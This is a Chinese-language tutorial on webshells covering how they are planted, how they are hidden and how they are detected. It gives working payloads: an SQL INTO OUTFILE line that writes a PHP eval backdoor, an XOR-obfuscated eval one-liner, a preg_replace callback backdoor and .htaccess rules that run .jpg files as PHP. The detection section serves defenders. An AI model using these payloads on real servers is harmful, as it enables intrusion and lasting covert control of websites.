0x00 什么是webshell
攻击者以asp、php、jsp等网页文件形式保存在Web服务器上的一种命令执行环境,也可称为网页后门。
攻击者使用浏览器访问webshell,得到一个命令执行环境,以达到控制网站或服务器的目的
0x01 如何获取webshell
利用网站的文件操作漏洞将webshell写入网站目录中
SQL注入
利用条件:
- 当前mysql用户拥有FILE权限
- 网站未对单引号进行转义
payload:
select `<?php eval($_POST['test'])?>` into outfile '/var/www/test.php';
上传漏洞
利用条件
文件上传操作如头像、评论等,对用户上传文件过滤不严格,上传机制可被绕过,导致脚本文件的上传
任意代码执行
利用条件
用户传入参数被服务器脚本以源码方式执行
可直接插入恶意代码或利用脚本对应的文件写入操作写入webshell
任意文件包含漏洞
利用条件
网站动态包含配置文件
包含图片、日志文件等执行恶意代码
后台功能
利用条件
获取并进入网站后台管理界面,具有对网站文件写入与修改、数据库或文件备份、文件上传等权限
webshell收集
GitHub:WebShell收集项目
0x02 webshell的隐藏
-
文件包含
服务器内某访问量小、对网站影响小脚本文件中加入include(‘/upload/xx.jpg’);包含所上传的webshell文件
命名:命名、存放位置具有诱惑性 : /admin/help.php
- 改变编码格式
<?php@$_++;$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
#利用异或运算:<?php @$_POST[0]($_POST[1])?> xxx=eval($_POST[1]);
- callback函数
<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>
cmd=<title>{${phpinfo()}}</tile>
-
修改已有脚本代码
在网站访问量小、不影响网站功能的脚本文件中加入一句话木马等
-
.htaccess文件
当服务器开启.htaccess文件解析可在upload文件夹内创建.htaccess文件写入下面内容
AddType application/x-httpd-php .jpg
<Files demo.jpg>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>
- 等
在下学识浅薄,请诸位大神补充,感激不尽
0x03 webshell检测
webshell运行流程
hacker -> HTTP Protocol -> Web Server -> CGI
webshell为一个合法的http连接,在TCP/IP的应用层之下没有任何特征(谁知道呢)只能进行应用层检测
检测方式
静态检测
匹配文件特征码、特征值、危险函数eval等来查找webshell
依据特征码弱强特征,结合人工判断,可减少漏报误报概率
利用文件系统的属性判断,无缘无故多出的nobody属性文件必定有问题(Apache是nobody启动)
弱点: 漏报误报率较高,无法查杀变种及0day型
动态监测
依据webshell文件执行表现的特征即动态特征,如菜刀操作的特征
webshell命令执行时必会创建bash或IIS User启动cmd 由PID进程号定位webshell
http异常模型检测,检测若有有用户访问一个从未访问过的文件并得到200响应,很容易定位webshell
修改内核,hook一些危险函数eval、asset,重新编译php;
弱点:降低php性能及业务性能
日志检测
webshell访问特征
- 少量ip发起fangwen
- 总访问次数少
- 该页面属于孤立页面
干扰数据:
管理后台等正常孤立页面
扫描器行为
0x04 有待补充
over